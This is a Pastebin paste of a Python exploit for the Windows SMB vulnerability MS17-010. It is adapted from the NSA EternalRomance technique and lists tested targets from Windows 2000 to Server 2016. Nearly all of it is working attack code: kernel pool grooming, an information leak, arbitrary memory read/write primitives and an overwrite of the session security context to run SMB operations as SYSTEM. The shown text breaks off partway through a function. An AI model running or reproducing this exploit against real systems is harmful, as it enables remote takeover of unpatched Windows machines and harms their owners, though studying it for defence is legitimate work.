Advertisement
Joker0day

MS17-010 - NSA

Nov 11th, 2017
589
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.85 KB | None | 0 0
  1. #!/usr/bin/python
  2. from impacket import smb, smbconnection
  3. from mysmb import MYSMB
  4. from struct import pack, unpack, unpack_from
  5. import sys
  6. import socket
  7. import time
  8.  
  9. '''
  10. MS17-010 exploit for Windows 2000 and later by sleepya
  11.  
  12. Note:
  13. - The exploit should never crash a target (chance should be nearly 0%)
  14. - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
  15.  
  16. Tested on:
  17. - Windows 2016 x64
  18. - Windows 10 Pro Build 10240 x64
  19. - Windows 2012 R2 x64
  20. - Windows 8.1 x64
  21. - Windows 2008 R2 SP1 x64
  22. - Windows 7 SP1 x64
  23. - Windows 2008 SP1 x64
  24. - Windows 2003 R2 SP2 x64
  25. - Windows XP SP2 x64
  26. - Windows 8.1 x86
  27. - Windows 7 SP1 x86
  28. - Windows 2008 SP1 x86
  29. - Windows 2003 SP2 x86
  30. - Windows XP SP3 x86
  31. - Windows 2000 SP4 x86
  32. '''
  33.  
  34. USERNAME = ''
  35. PASSWORD = ''
  36.  
  37. '''
  38. A transaction with empty setup:
  39. - it is allocated from paged pool (same as other transaction types) on Windows 7 and later
  40. - it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
  41. - no lookaside or caching method for allocating it
  42.  
  43. Note: method name is from NSA eternalromance
  44.  
  45. For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
  46. for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
  47. alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
  48.  
  49. For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
  50. smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
  51. a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
  52. Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
  53. in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
  54. of this method is we cannot do information leak to verify transactions alignment before OOB write.
  55. So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
  56. '''
  57.  
  58. '''
  59. Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
  60. win7 x64
  61. struct SrvSecContext {
  62. DWORD xx1; // second WORD is size
  63. DWORD refCnt;
  64. PACCESS_TOKEN Token; // 0x08
  65. DWORD xx2;
  66. BOOLEAN CopyOnOpen; // 0x14
  67. BOOLEAN EffectiveOnly;
  68. WORD xx3;
  69. DWORD ImpersonationLevel; // 0x18
  70. DWORD xx4;
  71. BOOLEAN UsePsImpersonateClient; // 0x20
  72. }
  73. win2012 x64
  74. struct SrvSecContext {
  75. DWORD xx1; // second WORD is size
  76. DWORD refCnt;
  77. QWORD xx2;
  78. QWORD xx3;
  79. PACCESS_TOKEN Token; // 0x18
  80. DWORD xx4;
  81. BOOLEAN CopyOnOpen; // 0x24
  82. BOOLEAN EffectiveOnly;
  83. WORD xx3;
  84. DWORD ImpersonationLevel; // 0x28
  85. DWORD xx4;
  86. BOOLEAN UsePsImpersonateClient; // 0x30
  87. }
  88.  
  89. SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
  90. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
  91. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
  92. PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
  93. STATUS_SUCCESS when Token is NULL.
  94. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
  95. to do all SMB operations.
  96. Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
  97. ImpersonateSecurityContext() is used in these Windows versions.
  98. '''
  99. ###########################
  100. # info for modify session security context
  101. ###########################
  102. WIN7_64_SESSION_INFO = {
  103. 'SESSION_SECCTX_OFFSET': 0xa0,
  104. 'SESSION_ISNULL_OFFSET': 0xba,
  105. 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
  106. 'SECCTX_SIZE': 0x28,
  107. }
  108.  
  109. WIN7_32_SESSION_INFO = {
  110. 'SESSION_SECCTX_OFFSET': 0x80,
  111. 'SESSION_ISNULL_OFFSET': 0x96,
  112. 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
  113. 'SECCTX_SIZE': 0x1c,
  114. }
  115.  
  116. # win8+ info
  117. WIN8_64_SESSION_INFO = {
  118. 'SESSION_SECCTX_OFFSET': 0xb0,
  119. 'SESSION_ISNULL_OFFSET': 0xca,
  120. 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
  121. 'SECCTX_SIZE': 0x38,
  122. }
  123.  
  124. WIN8_32_SESSION_INFO = {
  125. 'SESSION_SECCTX_OFFSET': 0x88,
  126. 'SESSION_ISNULL_OFFSET': 0x9e,
  127. 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
  128. 'SECCTX_SIZE': 0x24,
  129. }
  130.  
  131. # win 2003 (xp 64 bit is win 2003)
  132. WIN2K3_64_SESSION_INFO = {
  133. 'SESSION_ISNULL_OFFSET': 0xba,
  134. 'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
  135. 'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
  136. 'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
  137. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  138. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  139. }
  140.  
  141. WIN2K3_32_SESSION_INFO = {
  142. 'SESSION_ISNULL_OFFSET': 0x96,
  143. 'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
  144. 'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
  145. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  146. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  147. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  148. }
  149.  
  150. # win xp
  151. WINXP_32_SESSION_INFO = {
  152. 'SESSION_ISNULL_OFFSET': 0x94,
  153. 'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
  154. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  155. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  156. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  157. }
  158.  
  159. WIN2K_32_SESSION_INFO = {
  160. 'SESSION_ISNULL_OFFSET': 0x94,
  161. 'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
  162. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  163. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
  164. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
  165. }
  166.  
  167. ###########################
  168. # info for exploitation
  169. ###########################
  170. # for windows 2008+
  171. WIN7_32_TRANS_INFO = {
  172. 'TRANS_SIZE' : 0xa0, # struct size
  173. 'TRANS_FLINK_OFFSET' : 0x18,
  174. 'TRANS_INPARAM_OFFSET' : 0x40,
  175. 'TRANS_OUTPARAM_OFFSET' : 0x44,
  176. 'TRANS_INDATA_OFFSET' : 0x48,
  177. 'TRANS_OUTDATA_OFFSET' : 0x4c,
  178. 'TRANS_PARAMCNT_OFFSET' : 0x58,
  179. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
  180. 'TRANS_FUNCTION_OFFSET' : 0x72,
  181. 'TRANS_MID_OFFSET' : 0x80,
  182. }
  183.  
  184. WIN7_64_TRANS_INFO = {
  185. 'TRANS_SIZE' : 0xf8, # struct size
  186. 'TRANS_FLINK_OFFSET' : 0x28,
  187. 'TRANS_INPARAM_OFFSET' : 0x70,
  188. 'TRANS_OUTPARAM_OFFSET' : 0x78,
  189. 'TRANS_INDATA_OFFSET' : 0x80,
  190. 'TRANS_OUTDATA_OFFSET' : 0x88,
  191. 'TRANS_PARAMCNT_OFFSET' : 0x98,
  192. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
  193. 'TRANS_FUNCTION_OFFSET' : 0xb2,
  194. 'TRANS_MID_OFFSET' : 0xc0,
  195. }
  196.  
  197. WIN5_32_TRANS_INFO = {
  198. 'TRANS_SIZE' : 0x98, # struct size
  199. 'TRANS_FLINK_OFFSET' : 0x18,
  200. 'TRANS_INPARAM_OFFSET' : 0x3c,
  201. 'TRANS_OUTPARAM_OFFSET' : 0x40,
  202. 'TRANS_INDATA_OFFSET' : 0x44,
  203. 'TRANS_OUTDATA_OFFSET' : 0x48,
  204. 'TRANS_PARAMCNT_OFFSET' : 0x54,
  205. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
  206. 'TRANS_FUNCTION_OFFSET' : 0x6e,
  207. 'TRANS_PID_OFFSET' : 0x78,
  208. 'TRANS_MID_OFFSET' : 0x7c,
  209. }
  210.  
  211. WIN5_64_TRANS_INFO = {
  212. 'TRANS_SIZE' : 0xe0, # struct size
  213. 'TRANS_FLINK_OFFSET' : 0x28,
  214. 'TRANS_INPARAM_OFFSET' : 0x68,
  215. 'TRANS_OUTPARAM_OFFSET' : 0x70,
  216. 'TRANS_INDATA_OFFSET' : 0x78,
  217. 'TRANS_OUTDATA_OFFSET' : 0x80,
  218. 'TRANS_PARAMCNT_OFFSET' : 0x90,
  219. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
  220. 'TRANS_FUNCTION_OFFSET' : 0xaa,
  221. 'TRANS_PID_OFFSET' : 0xb4,
  222. 'TRANS_MID_OFFSET' : 0xb8,
  223. }
  224.  
  225. X86_INFO = {
  226. 'ARCH' : 'x86',
  227. 'PTR_SIZE' : 4,
  228. 'PTR_FMT' : 'I',
  229. 'FRAG_TAG_OFFSET' : 12,
  230. 'POOL_ALIGN' : 8,
  231. 'SRV_BUFHDR_SIZE' : 8,
  232. }
  233.  
  234. X64_INFO = {
  235. 'ARCH' : 'x64',
  236. 'PTR_SIZE' : 8,
  237. 'PTR_FMT' : 'Q',
  238. 'FRAG_TAG_OFFSET' : 0x14,
  239. 'POOL_ALIGN' : 0x10,
  240. 'SRV_BUFHDR_SIZE' : 0x10,
  241. }
  242.  
  243. def merge_dicts(*dict_args):
  244. result = {}
  245. for dictionary in dict_args:
  246. result.update(dictionary)
  247. return result
  248.  
  249. OS_ARCH_INFO = {
  250. # for Windows Vista, 2008, 7 and 2008 R2
  251. 'WIN7': {
  252. 'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
  253. 'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
  254. },
  255. # for Windows 8 and later
  256. 'WIN8': {
  257. 'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
  258. 'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
  259. },
  260. 'WINXP': {
  261. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
  262. 'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
  263. },
  264. 'WIN2K3': {
  265. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
  266. 'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
  267. },
  268. 'WIN2K': {
  269. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
  270. },
  271. }
  272.  
  273.  
  274. TRANS_NAME_LEN = 4
  275. HEAP_HDR_SIZE = 8 # heap chunk header size
  276.  
  277.  
  278. def calc_alloc_size(size, align_size):
  279. return (size + align_size - 1) & ~(align_size-1)
  280.  
  281. def wait_for_request_processed(conn):
  282. #time.sleep(0.05)
  283. # send echo is faster than sleep(0.05) when connection is very good
  284. conn.send_echo('a')
  285.  
  286. def find_named_pipe(conn):
  287. pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
  288.  
  289. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  290. found_pipe = None
  291. for pipe in pipes:
  292. try:
  293. fid = conn.nt_create_andx(tid, pipe)
  294. conn.close(tid, fid)
  295. found_pipe = pipe
  296. except smb.SessionError as e:
  297. pass
  298.  
  299. conn.disconnect_tree(tid)
  300. return found_pipe
  301.  
  302.  
  303. special_mid = 0
  304. extra_last_mid = 0
  305. def reset_extra_mid(conn):
  306. global extra_last_mid, special_mid
  307. special_mid = (conn.next_mid() & 0xff00) - 0x100
  308. extra_last_mid = special_mid
  309.  
  310. def next_extra_mid():
  311. global extra_last_mid
  312. extra_last_mid += 1
  313. return extra_last_mid
  314.  
  315.  
  316. # Borrow 'groom' and 'bride' word from NSA tool
  317. # GROOM_TRANS_SIZE includes transaction name, parameters and data
  318. # Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
  319. GROOM_TRANS_SIZE = 0x5010
  320.  
  321. def leak_frag_size(conn, tid, fid):
  322. # this method can be used on Windows Vista/2008 and later
  323. # leak "Frag" pool size and determine target architecture
  324. info = {}
  325.  
  326. # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
  327. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
  328. # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
  329. # From the leak info, we can determine the target architecture too.
  330. mid = conn.next_mid()
  331. req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
  332. req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
  333.  
  334. conn.send_raw(req1[:-8])
  335. conn.send_raw(req1[-8:]+req2)
  336. leakData = conn.recv_transaction_data(mid, 0x10d0+276)
  337. leakData = leakData[0x10d4:] # skip parameters and its own input
  338. # Detect target architecture and calculate frag pool size
  339. if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
  340. print('Target is 32 bit')
  341. info['arch'] = 'x86'
  342. info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
  343. elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
  344. print('Target is 64 bit')
  345. info['arch'] = 'x64'
  346. info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
  347. else:
  348. print('Not found Frag pool tag in leak data')
  349. sys.exit()
  350.  
  351. print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
  352. return info
  353.  
  354.  
  355. def read_data(conn, info, read_addr, read_size):
  356. fmt = info['PTR_FMT']
  357. # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
  358. # modify trans2.*ParameterCount and trans2.*DataCount to limit data
  359. new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
  360. new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
  361. new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
  362. new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
  363. new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
  364. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
  365.  
  366. # create one more transaction before leaking data
  367. # - next transaction can be used for arbitrary read/write after the current trans2 is done
  368. # - next transaction address is from TransactionListEntry.Flink value
  369. conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
  370.  
  371. # finish the trans2 to leak
  372. conn.send_nt_trans_secondary(mid=info['trans2_mid'])
  373. read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
  374.  
  375. # set new trans2 address
  376. info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
  377.  
  378. # set trans1.InData to &trans2
  379. conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
  380. wait_for_request_processed(conn)
  381.  
  382. # modify trans2 mid
  383. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  384. wait_for_request_processed(conn)
  385.  
  386. return read_data[8:] # no need to return parameter
  387.  
  388. def write_data(conn, info, write_addr, write_data):
  389. # trans2.InData
  390. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
  391. wait_for_request_processed(conn)
  392.  
  393. # write data
  394. conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
  395. wait_for_request_processed(conn)
  396.  
  397.  
  398. def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
  399. trans_param = pack('<HH', fid, 0) # param for NT_RENAME
  400. # fill large pagedpool holes (maybe no need)
  401. for i in range(numFill):
  402. conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
  403.  
  404. mid_ntrename = conn.next_mid()
  405. # first GROOM, for leaking next BRIDE transaction
  406. req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
  407. req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
  408. # second GROOM, for controlling next BRIDE transaction
  409. req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
  410. # many BRIDEs, expect two of them are allocated at splitted pool from GROOM
  411. reqs = []
  412. for i in range(12):
  413. mid = next_extra_mid()
  414. reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
  415.  
  416. conn.send_raw(req1[:-8])
  417. conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
  418.  
  419. # expected transactions alignment ("Frag" pool is not shown)
  420. #
  421. # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
  422. # +-------------------------------+----------------+-------------------------------+----------------+
  423. # | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
  424. # +-------------------------------+----------------+-------------------------------+----------------+
  425. #
  426. # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
  427. # From leaked transaction, we get
  428. # - leaked transaction address from InParameter or InData
  429. # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
  430. # With these information, we can verify the transaction aligment from displacement.
  431.  
  432. leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
  433. leakData = leakData[0x10d4:] # skip parameters and its own input
  434. #open('leak.dat', 'wb').write(leakData)
  435.  
  436. if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
  437. print('Not found Frag pool tag in leak data')
  438. return None
  439.  
  440. # ================================
  441. # verify leak data
  442. # ================================
  443. leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
  444. # check pool tag and size value in buffer header
  445. expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
  446. leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
  447. if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
  448. print('No transaction struct in leak data')
  449. return None
  450.  
  451. leakTrans = leakData[leakTransOffset:]
  452.  
  453. ptrf = info['PTR_FMT']
  454. _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
  455. inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
  456. leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  457.  
  458. print('CONNECTION: 0x{:x}'.format(connection_addr))
  459. print('SESSION: 0x{:x}'.format(session_addr))
  460. print('FLINK: 0x{:x}'.format(flink_value))
  461. print('InParam: 0x{:x}'.format(inparam_value))
  462. print('MID: 0x{:x}'.format(leak_mid))
  463.  
  464. next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
  465. if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
  466. print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
  467. return None
  468. # trans1: leak transaction
  469. # trans2: next transaction
  470. return {
  471. 'connection': connection_addr,
  472. 'session': session_addr,
  473. 'next_page_addr': next_page_addr,
  474. 'trans1_mid': leak_mid,
  475. 'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
  476. 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
  477. }
  478.  
  479. def exploit_matched_pairs(conn, pipe_name, info):
  480. # for Windows 7/2008 R2 and later
  481.  
  482. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  483. conn.set_default_tid(tid)
  484. # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
  485. fid = conn.nt_create_andx(tid, pipe_name)
  486.  
  487. info.update(leak_frag_size(conn, tid, fid))
  488. # add os and arch specific exploit info
  489. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  490.  
  491. # groom: srv buffer header
  492. info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
  493. print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
  494. # groom paramters and data is alignment by 8 because it is NT_TRANS
  495. info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)
  496.  
  497. # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
  498. bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
  499. info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
  500. print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
  501. # bride paramters and data is alignment by 4 because it is TRANS
  502. info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
  503.  
  504. # ================================
  505. # try align pagedpool and leak info until satisfy
  506. # ================================
  507. leakInfo = None
  508. # max attempt: 10
  509. for i in range(10):
  510. reset_extra_mid(conn)
  511. leakInfo = align_transaction_and_leak(conn, tid, fid, info)
  512. if leakInfo is not None:
  513. break
  514. print('leak failed... try again')
  515. conn.close(tid, fid)
  516. conn.disconnect_tree(tid)
  517.  
  518. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  519. conn.set_default_tid(tid)
  520. fid = conn.nt_create_andx(tid, pipe_name)
  521.  
  522. if leakInfo is None:
  523. return False
  524.  
  525. info['fid'] = fid
  526. info.update(leakInfo)
  527.  
  528. # ================================
  529. # shift transGroom.Indata ptr with SmbWriteAndX
  530. # ================================
  531. shift_indata_byte = 0x200
  532. conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
  533.  
  534. # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
  535. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
  536. # maxParameterCount (0x1000), trans name (4), param (4)
  537. indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
  538. indata_next_trans_displacement = info['trans2_addr'] - indata_value
  539. conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
  540. wait_for_request_processed(conn)
  541.  
  542. # if the overwritten is correct, a modified transaction mid should be special_mid now.
  543. # a new transaction with special_mid should be error.
  544. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
  545. if recvPkt.getNTStatus() != 0x10002: # invalid SMB
  546. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  547. print('!!! Write to wrong place !!!')
  548. print('the target might be crashed')
  549. return False
  550.  
  551. print('success controlling groom transaction')
  552.  
  553. # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
  554. # but this method make the transation never get freed
  555. # I will avoid memory leak
  556.  
  557. # ================================
  558. # modify trans1 struct to be used for arbitrary read/write
  559. # ================================
  560. print('modify trans1 struct for arbitrary read/write')
  561. fmt = info['PTR_FMT']
  562. # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
  563. conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
  564. wait_for_request_processed(conn)
  565.  
  566. # modify
  567. # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
  568. # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
  569. conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
  570. wait_for_request_processed(conn)
  571.  
  572. # modify trans2.mid
  573. info['trans2_mid'] = conn.next_mid()
  574. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  575. return True
  576.  
  577. def exploit_fish_barrel(conn, pipe_name, info):
  578. # for Windows Vista/2008 and earlier
  579.  
  580. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  581. conn.set_default_tid(tid)
  582. # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
  583. fid = conn.nt_create_andx(tid, pipe_name)
  584. info['fid'] = fid
  585.  
  586. if info['os'] == 'WIN7' and 'arch' not in info:
  587. # leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
  588. info.update(leak_frag_size(conn, tid, fid))
  589.  
  590. if 'arch' in info:
  591. # add os and arch specific exploit info
  592. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  593. attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
  594. else:
  595. # do not know target architecture
  596. # this case is only for Windows 2003
  597. # try offset of 64 bit then 32 bit because no target architecture
  598. attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
  599.  
  600. # ================================
  601. # groom packets
  602. # ================================
  603. # sum of transaction name, parameters and data length is 0x1000
  604. # paramterCount = 0x100-TRANS_NAME_LEN
  605. print('Groom packets')
  606. trans_param = pack('<HH', info['fid'], 0)
  607. for i in range(12):
  608. mid = info['fid'] if i == 8 else next_extra_mid()
  609. conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
  610.  
  611. # expected transactions alignment
  612. #
  613. # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
  614. # | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
  615. # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
  616. # trans1 trans2
  617.  
  618. # ================================
  619. # shift transaction Indata ptr with SmbWriteAndX
  620. # ================================
  621. shift_indata_byte = 0x200
  622. conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
  623.  
  624. # ================================
  625. # Dangerous operation: attempt to control one transaction
  626. # ================================
  627. # Note: POOL_ALIGN value is same as heap alignment value
  628. success = False
  629. for tinfo in attempt_list:
  630. print('attempt controlling next transaction on ' + tinfo['ARCH'])
